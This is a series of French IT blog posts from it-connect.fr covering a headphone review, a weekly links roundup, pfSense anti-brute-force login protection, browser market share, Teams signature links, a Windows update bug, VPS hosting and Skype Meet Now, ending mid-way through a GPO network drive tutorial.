<p><img class="size-full wp-image-34838 alignright" src="media/e8bde7b0.tribit-quiet-plus-small-452354253.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/tribit-quiet-plus-small-452354253.jpg" alt="" width="400" height="300" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/tribit-quiet-plus-small-452354253.jpg 400w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/tribit-quiet-plus-small-452354253-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/tribit-quiet-plus-small-452354253-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/tribit-quiet-plus-small-452354253-50x38.jpg 50w" sizes="(max-width: 400px) 100vw, 400px" />Lorsque le casque est utilisé en mode câble, il s'éteint automatiquement, car le Bluetooth n'est plus utile. Personnellement, je trouve que c'est tellement agréable d'utiliser un casque sans-fil, que je suis prêt à prioriser ce côté pratique à la qualité sonore. <strong>Il est à noter que sur PlayStation 4, il sera obligatoire de passer par une connexion filaire.</strong></p>
<p>En l'utilisant avec des lunettes, je ne l'ai pas trouvé particulièrement gênant, à condition de mettre les lunettes avant le casque, car sinon ce n'est pas très pratique vu que les oreillettes sont grandes. Lorsque le casque est allumé, mais qu'il n'y a pas de son diffusé, il n'y a pas de bruit dans les oreillettes, ce qui est un bon point, car c'est le genre de chose qui est désagréable.</p>
<p><strong>Lorsque la batterie devient faible, une voix indique "<em>Battery low</em>".</strong> En soi, c'est plutôt bien d'avoir l'information. Ce qui est plus gênant en revanche, c'est que cela se répète toutes les 2-3 minutes à peine, alors c'est un peu pénible à force. <strong>La batterie étant conséquente, le temps de charge l'est lui aussi puisqu'il faut compter 3 heures.</strong> Dommage que ce ne soit pas un peu plus rapide. En fonction de l'utilisation que vous en faites, vous pouvez tenir plusieurs semaines avant de recharger le casque compte-tenu de son autonomie conséquente. La bonne nouvelle, c'est que la recharge s'effectue en USB-C.</p>
<h2>IV. Conclusion</h2>
<p><strong>Avec ce casque, je pense que l'on en a pour son argent, car si l'on prend en compte le prix du Tribit QuietPlus, qui ne dépasse pas les 100 euros, et que l'on met en face : sa très bonne autonomie, le fait qu'il soit confortable, la réduction de bruit active et une qualité sonore tout à fait honorable, c'est intéressant.</strong> La technologie de réduction de bruit active n'est pas irréprochable, mais c'est satisfaisant, si vous avez une exigence particulière à ce niveau, il faudra vous orienter vers les monstres dans le domaine, chez Sony et Bose.</p>
<p>La connexion sans-fil est efficace et l'alternative filaire sera intéressante pour profiter d'une qualité audio supérieure, mais aussi pour utiliser le casque sur une console de jeux vidéo, par exemple. Le son proposé est bien équilibré, je n'ai pas constaté de défaut majeur à ce niveau.</p>
<p><span style="color: #ff6600;"><strong>Offre spéciale : <a style="color: #ff6600;" href="https://amzn.to/2VXRsOC" target="_blank" rel="nofollow noopener noreferrer">20 euros de réduction sur ce casque grâce au code "MNTRIBIT100"</a>, applicable sur Amazon et valide jusqu'au 30 avril 2020.</strong></span></p>


feed_id: https://www.it-connect.fr/?p=34833
title: #LinksOfTheWeek n°21 : Zoom bombing, New-IP, WordPress, etc.
uri: LinksOfTheWeek-n-21-Zoom-bombing-New-IP-WordPress-etc
url: https://www.it-connect.fr/linksoftheweek-n21-zoom-bombing-new-ip-wordpress-etc/
content:
<p>Bonjour à tous ! J'espère que tout va bien de votre côté et que vous supportez bien le confinement... Pour vous occuper, n'hésitez pas à lire nos tutoriels, nos tests de produits et nos cours en ligne. Tout est disponible gratuitement sur notre site ! 😉</p>
<p>📌 <a href="https://www.it-connect.fr/cours/performance-tunning-tools-pour-auditer-un-systeme-linux/" target="_blank" rel="noopener noreferrer">Outils de performances et tuning Linux</a></p>
<p>📌 <a href="https://www.it-connect.fr/cours/notions-de-base-de-lactive-directory/">Cours Active Directory</a></p>
<p>📌 <a href="https://www.it-connect.fr/cours/debuter-avec-kali-linux/">Cours Kali Linux</a></p>
<p>📌 <a href="https://www.it-connect.fr/cours/gerer-windows-server-en-ligne-de-commande/" target="_blank" rel="noopener noreferrer">Windows Server en mode "Core"</a></p>
<p>Etc...</p>
<p>Pour ma part, j'ai eu une semaine et demie très compliquée au niveau de la charge de travail, avec de nombreux accès VPN à configurer pour des clients en un temps limité, avec tous les problèmes que ça engendre derrière quand les personnes découvrent le télétravail !</p>
<p>En complément, je vous livre quelques liens et vidéos intéressantes et que je souhaitais partager avec vous.</p>
<p>✅<strong> - Zoom bombing</strong></p>
<p>L'outil Zoom est de plus en plus utilisé, notamment car la majorité des personnes sont en télétravail et que le besoin de se communiquer en visioconférence est très fort. Un nouveau phénomène lié à l'utilisation de ce service s'intensifie : le Zoom bombing. En effet, certaines personnes interviennent dans vos visioconférences avec le seul objectif de la perturber : insultes, bruits, etc...  Cet article vous explique comment vous protéger de ce phénomène. <a href="https://www.lemondeinformatique.fr/actualites/lire-visio-conference-comment-eviter-le-zoom-bombing-78635.html" target="_blank" rel="nofollow noopener noreferrer">Lien</a></p>
<p>✅<strong> - Le New-IP</strong></p>
<p>Le New-IP est la proposition effectuée par Huawei au gouvernement chinois pour faire évoluer les communications TCP/IP, avec l'objectif, notamment, de faciliter la censure des régimes autoritaires. Un équipement avec une adresse "New-IP" pourrait se voir isoler d'un réseau grâce à un kill switch qui est activable pour chaque adresse. Tout cela n'est qu'une idée, un projet, mais la lecture est intéressante. <a href="https://www.phonandroid.com/huawei-et-la-chine-proposent-new-ip-une-mise-a-jour-dinternet-pour-les-regimes-autoritaires.html" target="_blank" rel="nofollow noopener noreferrer">Lien</a></p>
<p>✅<strong> - Recommandations pour le télétravail</strong></p>
<p>Par l'intermédiaire du site <em>cybermalveillance.gouv.fr</em>, le gouvernement a relayé des informations intéressantes, ou plutôt des recommandations, quant au télétravail, que ce soit pour l'employeur ou les collaborateurs. Des infographies fournies en fin d'article peuvent être utile pour communiquer sur le sujet ! 😉 <a href="https://www.cybermalveillance.gouv.fr/tous-nos-contenus/actualites/recommandations-securite-informatique-teletravail" target="_blank" rel="nofollow noopener noreferrer">Lien</a></p>
<p>✅<strong> - WordPress 5.4</strong></p>
<p>Cette semaine est sortie une nouvelle mise à jour majeure du CMS le plus populaire : WordPress. Ce dernier passe en version 5.4 et contient des améliorations au niveau de son nouvel éditeur de texte, ainsi que pour la gestion de la confidentialité. A vos mises à jour ! <a href="https://www.blogdumoderateur.com/wordpress-5-4-liste-nouveautes/" target="_blank" rel="nofollow noopener noreferrer">Lien</a></p>
<p>✅<strong> - Déployer Teams dans l'Education</strong></p>
<p>Pour vous accompagner dans le déploiement de Teams dans l'Education, Microsoft a publié différentes ressources en ligne, avec notamment un PDF de 39 pages très complet, que je vous recommande.</p>
<p><iframe title="Post intégré" src="https://www.linkedin.com/embed/feed/update/urn:li:ugcPost:6649345112927285248" width="504" height="629" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>✅<strong> - Google et ses stats sur le confinement</strong></p>
<p>En exploitant ses données de géolocalisation obtenue notamment par l'intermédiaire de Maps, Google a publié les données de géolocalisation de 131 pays pour voir l'impact du confinement à travers le monde. On constate une forte baisse du taux de fréquentation des pharmacies, des marchés, etc. <a href="https://www.lesnumeriques.com/telephone-portable/confinement-google-publie-les-donnees-de-geolocalisation-de-131-pays-dont-la-france-n149187.html" target="_blank" rel="nofollow noopener noreferrer">Lien</a></p>
<p>✅<strong> - Azure Files</strong></p>
<p>Et si l'on remplaçait les serveurs de fichiers classiques, <em>on-premise</em>, par une solution Azure ?</p>
<p><iframe class="iframe_youtube" src="https://www.youtube.com/embed/xvpTipxCqtw" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>


feed_id: https://www.it-connect.fr/?p=34641
title: PfSense : protéger la page de connexion avec le Login Protection
uri: PfSense-protéger-la-page-de-connexion-avec-le-Login-Protection
url: https://www.it-connect.fr/pfsense-proteger-la-page-de-connexion-avec-le-login-protection/
content:
<h2>I. Présentation</h2>
<p><strong>L'interface d'administration est accessible seulement depuis le LAN dans la configuration par défaut, ce qui limite déjà les accès sur cette précieuse interface. Le danger peut venir également de l'intérieur, il me semble intéressant de protéger la page de connexion en activant la fonctionnalité "Login Protection" ce qui permet de lutter contre les attaques par Brute Force.</strong></p>
<p>Cette fonctionnalité n'est pas activée par défaut et elle est un peu cachée dans les options avancées, d'où l'intérêt de faire cet article pour en profiter pour mettre en avant son existence.</p>
<h2>II. Configurer Login Protection</h2>
<p>Connectez-vous à l'interface d'administration de pfsense, et dans le menu "<em>Système</em>" cliquez sur "<em>Avancé</em>".</p>
<p><img class="aligncenter size-full wp-image-34643" src="media/97dcf9a7.pfsense-login-protection-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-01.jpg" alt="" width="537" height="395" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-01.jpg 537w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-01-150x110.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-01-160x118.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-01-50x37.jpg 50w" sizes="(max-width: 537px) 100vw, 537px" /></p>
<p>Descendez dans la page et vous allez trouver la section "<em>Login Protection</em>", tout se passe ici. Plusieurs options sont à configurer :</p>
<ul>
<li><strong>Seuil</strong> : lorsque le score de l'attaquant atteinte cette limite, son adresse IP sera bloquée, sachant qu'une attaque a un score de 10</li>
<li><strong>Blocktime</strong> : lorsque le seuil est atteint, pendant combien de temps souhaitez-vous bloquer l'adresse IP de l'attaquant ? A exprimer en secondes</li>
<li><strong>Detection time</strong> : lorsqu'une attaque est détectée à partir d'une IP, pendant combien de temps cette IP est-elle mise "sous surveillance" avant que son score soit remis à zéro</li>
<li><strong>Whitelist</strong> : indiquez une ou plusieurs adresses IP de machines (ou un réseau) que vous souhaitez mettre en liste blanche, donc sur lequel la protection ne s'appliquera pas</li>
</ul>
<p>Les options sont classiques pour une protection de ce type donc si vous avez l'habitude de configurer des protections anti-brute force vous ne devriez pas être perdu.</p>
<p>Il suffit de sauvegarder la configuration à la suite de la configuration.</p>
<p><img class="aligncenter size-full wp-image-34642" src="media/6ad219f0.pfsense-login-protection-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02.jpg" alt="" width="800" height="325" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02-550x223.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02-150x61.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02-768x312.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02-160x65.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/pfsense-login-protection-02-50x20.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Vous pouvez tester ensuite le mécanisme, vous verrez que c'est très efficace. Un poste bloqué peut continuer d'accéder à Internet mais il ne peut plus afficher la page de connexion de pfsense. Les hôtes bloqués sont directement gérés par pfsense et n’apparaissent pas dans une règle de firewall (en tout cas visible via l'interface web).</p>


feed_id: https://www.it-connect.fr/?p=34916
title: Navigateurs : Microsoft Edge dépasse Firefox
uri: Navigateurs-Microsoft-Edge-dépasse-Firefox
url: https://www.it-connect.fr/navigateurs-microsoft-edge-depasse-firefox/
content:
<p><strong>La stratégie de Microsoft avec nouveau navigateur Edge semble porter ses fruits. Firefox vient d'être dépassé par le navigateur de Microsoft qui devient le second navigateur le plus utilisé au monde, derrière Chrome.</strong></p>
<p>En annonçant que Microsoft Edge serait basé sur Chromium à la place de son moteur de rendu EdgeHTML, Microsoft avait créé la surprise. Désormais, <strong>Edge utilise la même base que le navigateur Chrome et cela offre plusieurs avantages.</strong> A commencer par une compatibilité améliorée avec les standards du web, une très bonne ergonomie mais aussi l'accès aux extensions du catalogue Chrome Web Store, ce qui n'est pas neutre. Par ailleurs, Microsoft propose désormais son navigateur sur un bon nombre de plateformes : <strong>Windows 10 bien sûr, mais aussi Windows 8.1 et Windows 7, ainsi que macOS, Android et iOS.</strong></p>
<p><img class="aligncenter size-full wp-image-34917" src="media/80817f4b.navigateur-2020-4235352.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/navigateur-2020-4235352.jpg" alt="" width="700" height="493" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/navigateur-2020-4235352.jpg 700w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/navigateur-2020-4235352-550x387.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/navigateur-2020-4235352-150x106.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/navigateur-2020-4235352-160x113.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/navigateur-2020-4235352-50x35.jpg 50w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<p>Certes, <strong>Microsoft Edge a dépassé Firefox mais il reste très loin derrière Google Chrome</strong> comme le montre les résultats de l'étude de Netmarketshare.</p>
<p><strong>Microsoft Edge totalise 7,59% de part de marché contre 7,19% pour Mozilla Firefox.</strong> Google Chrome quant à lui écrase la concurrence avec 68,5% de part de marché. L'éternel Internet Explorer conserve tout de même 5,87%.</p>
<p>Pour consulter cette étude : <a href="https://netmarketshare.com/?options=%7B%22filter%22%3A%7B%22%24and%22%3A%5B%7B%22deviceType%22%3A%7B%22%24in%22%3A%5B%22Desktop%2Flaptop%22%5D%7D%7D%5D%7D%2C%22dateLabel%22%3A%22Custom%22%2C%22attributes%22%3A%22share%22%2C%22group%22%3A%22browser%22%2C%22sort%22%3A%7B%22share%22%3A-1%7D%2C%22id%22%3A%22browsersDesktop%22%2C%22dateInterval%22%3A%22Monthly%22%2C%22dateStart%22%3A%222020-03%22%2C%22dateEnd%22%3A%222020-03%22%2C%22segments%22%3A%22-1000%22%7D" target="_blank" rel="nofollow noopener noreferrer">netmarketshare.com</a></p>
<p>Et toi, es-tu passé sur Edge Chromium ? Pour ma part, j'utilise toujours Chrome et Firefox, mais il est vrai que j'utilise de plus en plus Edge, que je trouve beaucoup plus efficace et séduisant sous ce nouveau visage.</p>


feed_id: https://www.it-connect.fr/?p=34691
title: E-mail : ajouter un lien d’invitation à tchatter avec Teams dans la signature
uri: E-mail-ajouter-un-lien-d-invitation-à-tchatter-avec-Teams-dans-la
url:
https://www.it-connect.fr/e-mail-ajouter-un-lien-dinvitation-a-tchatter-avec-teams-dans-la-signature/

content:
<h2>I. Présentation</h2>
<p>Pour inciter vos clients et collaborateurs à communiquer avec vous au travers de Teams en complément des e-mails, vous pouvez <strong>ajouter un lien dans la signature de vos e-mails pour les inviter à communiquer avec vous sur Teams.</strong> Un fameux lien "<strong><em>Chat with me in Teams</em></strong>" derrière lequel se cache un lien et que vous pouvez traduire comme vous voulez en français (ou pas).  Ce qui peut donner :</p>
<p><img class="aligncenter size-full wp-image-34694" src="media/0d3d3433.chat-with-me-with-teams-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-03.jpg" alt="" width="600" height="484" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-03.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-03-550x444.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-03-150x121.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-03-160x129.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-03-50x40.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Voyons comment faire dans ce court article, avec cette astuce relativement simple.</p>
<h2>II. Procédure</h2>
<p>Le but va être d'intégrer un lien magique à votre signature Outlook. La première étape consiste à lancer le client de messagerie... Puis accédez aux options et aux signatures : <strong>Fichier &gt; Options &gt; Courrier &gt; Signatures</strong>.</p>
<blockquote><p><strong>Note</strong> : la procédure décrite ici s'applique à Outlook mais le lien d'intégration peut-être utilisé avec n'importe qu'elle solution de messagerie.</p></blockquote>
<p><img class="aligncenter size-full wp-image-34693" src="media/93c60502.chat-with-me-with-teams-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01.jpg" alt="" width="800" height="381" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01-550x262.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01-150x71.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01-768x366.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01-160x76.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-01-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>L'éditeur de signatures va s'ouvrir : j'imagine que vous allez modifier une signature existante, il suffit de la sélectionner dans la liste en haut à gauche. Puis, l'aperçu de la signature sélectionnée va s'afficher juste en dessous : il suffira de modifier et de valider en cliquant sur le bouton "<strong>Enregistrer</strong>".</p>
<p>Dans l'idée, vous pouvez ajouter le logo Teams, suivi du texte sur lequel nous allons positionner le lien. D'ailleurs le lien doit être sous cette forme :</p>
<p><strong>https://teams.microsoft.com/l/chat/0/0?users=&lt;adresse-email&gt;</strong></p>
<p>Il suffit de remplacer &lt;adresse-mail&gt; par votre adresse e-mail 😉, par exemple : <em>https://teams.microsoft.com/l/chat/0/0?users=florian@domaine.fr</em></p>
<p><img class="size-full wp-image-34695 alignleft" src="media/166becac.Teams-32x32-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/Teams-32x32-1.png" alt="" width="32" height="32" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Pour intégrer le lien, il suffit de<strong> sélectionner le texte sur lequel l'insérer</strong>, de cliquer sur le <strong>bouton pour ajouter un lien hypertexte</strong> (celui tout à droite de l'éditeur de signature), et ensuite : choisissez "Fichier ou page web existant(e)" et dans le champ "Adresse", insérez le lien que l'on a vu juste avant 😉</p>
<p><img class="aligncenter size-large wp-image-34692" src="media/0847a612.chat-with-me-with-teams-02-800x563.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-800x563.jpg" alt="" width="800" height="563" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-800x563.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-550x387.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-150x106.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-768x541.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-160x113.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02-130x90.jpg 130w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/chat-with-me-with-teams-02.jpg 1000w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Lorsque le lien est inséré, avec le logo idéalement, il ne reste plus qu'à enregistrer la signature et à fermer les options. Le tour est joué ! La nouvelle signature doit s'afficher, dans le même esprit que la première copie d'écran de cet article.</p>


feed_id: https://www.it-connect.fr/?p=34933
title: Windows 10 : écrans bleus avec la mise à jour KB4541335
uri: Windows-10-écrans-bleus-avec-la-mise-à-jour-KB4541335
url: https://www.it-connect.fr/windows-10-ecrans-bleus-avec-la-mise-a-jour-kb4541335/
content:
<p><strong>Une fois de plus l'histoire se répète pour Windows 10 et Microsoft puisque la dernière mise à jour cumulative (KB4541335) semble poser de sérieux problèmes.</strong></p>
<p>Diffusée il y a deux semaines lors du dernier Patch Tuesday, de nombreux utilisateurs ont remonté sur le forum de Microsoft des problèmes suite à son installation : <strong>écrans bleus de la mort (BSOD), PC bloqué au démarrage ou encore une chute des performances. </strong>Rien que ça.</p>
<p>Sur Reddit, des personnes se plaignent également de cette mise à jour, dans certains cas l'écran bleu se produit lors de la lecture d'une vidéo YouTube sur Chrome.</p>
<p>Sujets sur les forums : <a href="https://answers.microsoft.com/en-us/windows/forum/all/bsod-page-error-in-nonpaged-area-after-installing/d4b1eba4-790f-403c-94f7-7650ac893e83" target="_blank" rel="nofollow noopener noreferrer">Forum 1</a> - <a href="https://answers.microsoft.com/en-us/windows/forum/all/update-kb-4541335-causing-problems/d5f77ff5-c1ad-4907-8030-02727cf1a4a1" target="_blank" rel="nofollow noopener noreferrer">Forum 2</a></p>
<p>De mon côté, je n'ai pas rencontré ce problème sur mes postes... Et je n'en ai pas entendu parler dans mon entourage professionnel pour le moment. <strong>Et vous ?</strong></p>
<p><strong>Pour l'instant la seule solution est la plus radicale : désinstaller la mise à jour KB4541335.</strong> Le prochain Patch Tuesday étant prévu pour mardi de la semaine prochaine, il y a fort à parier pour qu'il apporte une solution au problème. En espérant qu'il n'en crée par un autre...</p>


feed_id: https://www.it-connect.fr/?p=34945
title: Quels sont les avantages d’un VPS pour un site e-commerce ?
uri: Quels-sont-les-avantages-d-un-VPS-pour-un-site-e-commerce
url: https://www.it-connect.fr/quels-sont-les-avantages-dun-vps-pour-un-site-e-commerce/
content:
<p>L'hébergement sur un serveur VPS (<em>Virtual Private Server</em>) assure la bonne croissance de votre site e-commerce et constitue une bonne option à envisager pour les chefs d'entreprise. Bien qu'il ait d'abord été commercialisé comme un état transitoire entre l'hébergement mutualisé et l'hébergement de serveurs dédiés, l'hébergement de serveurs VPS est devenu le choix privilégié de la plupart des entreprises de commerce électronique, en particulier les jeunes pousses, et il est très facile de comprendre pourquoi. Il s'agit d'un serveur qui est dédié uniquement aux besoins de votre site. C'est le serveur idéal pour ceux qui ne veulent pas gâcher les opportunités qui se présentent à eux et à leurs sites de commerce électronique. Découvrez les principaux avantages de ce type de serveur.</p>
<h2>Un espace illimité</h2>
<p>La principale raison pour laquelle les propriétaires d'entreprises préfèrent l'hébergement VPS à l'hébergement partagé est qu'il <strong>ne pose aucune limite à leur croissance</strong>. À mesure qu'une entreprise se développe, elle attire davantage de clients et sa clientèle augmente. Votre service d'hébergement doit donc s'étendre en même temps que votre entreprise pour accueillir vos nouveaux clients.</p>
<p><strong>L'hébergement mutualisé est, quant à lui, très limité dans son expansion</strong>. Si vous exécutez plusieurs scripts pour faciliter les actions de vos clients, il y a de fortes chances que vous dépassiez les limites de calcul de l'ordinateur de l'hébergeur et que le site soit hors service. Il en résulte un temps d'arrêt qui peut être fatal pour toute entreprise, et encore plus pour une start-up. C'est pourquoi la plupart des plateformes de commerce électronique choisissent <a href="https://www.ovhcloud.com/fr/vps/">un serveur VPS</a>, car il n'y a pas de limites à la croissance.</p>
<p><img class="aligncenter size-full wp-image-34946" src="media/71cdcee6.quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce.jpg" alt="" width="800" height="591" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce-550x406.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce-150x111.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce-768x567.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce-160x118.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/quels-sont-les-avantages-d-un-vps-pour-un-site-e-commerce-50x37.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>Déploiement de certificats SSL</h2>
<p>Le protocole SSL (<em>Secure Sockets Layer</em>) fournit un canal sécurisé et permet le transfert d'informations cryptées entre un serveur web et un navigateur, afin de donner lieu à la fameuse connexion sécurisée HTTPS. Sur un serveur VPS, plusieurs certificats SSL peuvent être déployés si vous en avez le besoin, par exemple si vous avez plusieurs domaines à gérer.</p>
<p>Nous vous recommandons de déployer un certificat SSL avec un niveau de sécurité supérieur et soumis à vérification de l'identité de l'entreprise dans le cadre d'un site d'e-commerce. Cela sera un gage de confiance supplémentaire en comparaison aux certificats gratuits comme ceux délivrés par Let's Encrypt.</p>
<p>Quoi qu'il en soit, il est indispensable de proposer une connexion sécurisée (<em>HTTPS</em>) avec un certificat SSL pour votre boutique en ligne. Dans le cas contraire, non seulement <strong>cela éloignera vos clients</strong>, mais cela va impacter l'image de votre e-commerce et rebutera les visiteurs à utiliser vos services à l'avenir.</p>
<h2>Vitesse et stabilité garanties</h2>
<p>Un serveur VPS est une excellente solution pour les plateformes de commerce électronique, car il <strong>garantit la vitesse et la stabilité</strong>. Vous disposez d'ordinateurs dédiés qui hébergent et gèrent votre boutique en ligne, ce qui minimise considérablement les risques de connexions lentes et vos clients pourront profiter d'une vitesse optimale, même pendant les heures de pointe du commerce.</p>
<p>De plus, comme vous disposez de ressources dédiées, <strong>votre site e-commerce électronique devient beaucoup plus stable</strong> et est en mesure d'offrir de meilleures performances.</p>
<p>Par ailleurs, vous pouvez faire ce que vous voulez avec votre serveur. Si vous avez l'impression que votre serveur est un peu lent pour vous, vous pouvez le redémarrer à tout moment. Vous avez également la main sur l'intégralité de la configuration logicielle, que ce soit sur le système d'exploitation en lui-même que les paquets installés. L'avantage c'est que vous pouvez déployer les outils que vous souhaitez et réaliser tout le <em>tunning</em> nécessaire au bon fonctionnement de votre site d'e-commerce.</p>


feed_id: https://www.it-connect.fr/?p=34962
title: Meet Now : Skype propose désormais la création de réunion sans compte
uri: Meet-Now-Skype-propose-désormais-la-création-de-réunion-sans-comp
url: https://www.it-connect.fr/meet-now-skype-propose-desormais-la-creation-de-reunion-sans-compte/
content:
<p><strong>Bien que son outil Teams soit très populaire, Microsoft ne souhaite pas pour autant lâcher Skype dans l'immédiat. Afin de contre-attaquer vis-à-vis de la montée en puissance de Zoom, Microsoft a intégré une nouvelle fonctionnalité nommée Meet Now.</strong></p>
<p>Avec Meet Now, vous allez pouvoir rejoindre et <strong>créer des réunions vidéos, que vous disposiez ou non d'un compte</strong>. Skype s'ouvre et se veut plus accessible, moins contraignant. Cette fonctionnalité est disponible aussi bien avec l'application de bureau ou mobile, qu'avec un navigateur web via Skype Web.</p>
<p>Lorsqu'une réunion est créée, <strong>vous pouvez partager l'invitation facilement grâce à un lien d'invitation</strong> qu'il suffit de communiquer aux autres participants. Si vous êtes sur PC et que vous souhaitez démarrer une réunion directement via Skype Web, rendez-vous sur cette page et laissez vous guider : <a href="https://www.skype.com/fr/free-conference-call/" target="_blank" rel="noopener noreferrer">Skype Meet Now</a></p>
<p>Microsoft précise que les appels peuvent être enregistrés et que <strong>chaque enregistrement est consultable pendant 30 jours</strong>. Par ailleurs, Skype intègre une fonctionnalité qui sert à flouter l'arrière-plan pour la vidéo.</p>


feed_id: https://www.it-connect.fr/?p=34675
title: Comment monter un lecteur réseau par GPO ?
uri: Comment-monter-un-lecteur-réseau-par-GPO
url: https://www.it-connect.fr/comment-monter-un-lecteur-reseau-par-gpo/
content:
<h2>I. Présentation</h2>
<p>Pendant très longtemps, et même encore aujourd'hui, lorsqu'il y avait besoin de connecter un ou plusieurs lecteurs réseaux sur un poste, on passait par un script d'ouverture de session. Bien souvent, un fichier ".bat" hébergé dans le SYSVOL du domaine, avec la fameuse commande "<em>net use</em>". Accessoirement, on pouvait utiliser l'attribut "<em>HomeDir</em>" de chaque utilisateur pour lui monter un dossier personnel dans un lecteur réseau.</p>
<p><strong>Avec les stratégies de groupe, et notamment, les préférences de stratégie de groupe, il est possible de connecter un lecteur réseau très simplement.</strong> Pour plus de souplesse, les options de ciblage vont permettre de monter le lecteur réseau en fonction de l'appartenance à un groupe de sécurité, ce qui est plutôt intéressant en matière de flexibilité. Cela tombe bien c'est le sujet de l'article du jour.</p>
<h2>II. Connecter un lecteur réseau en GPO</h2>
<p>A l'aide de la console GPMC, créez une nouvelle GPO avec le nom qui va bien, par exemple "<em>U_Connecter_Lecteur_Reseau</em>". Celle-ci contiendra des paramètres utilisateurs exclusivement (U).</p>
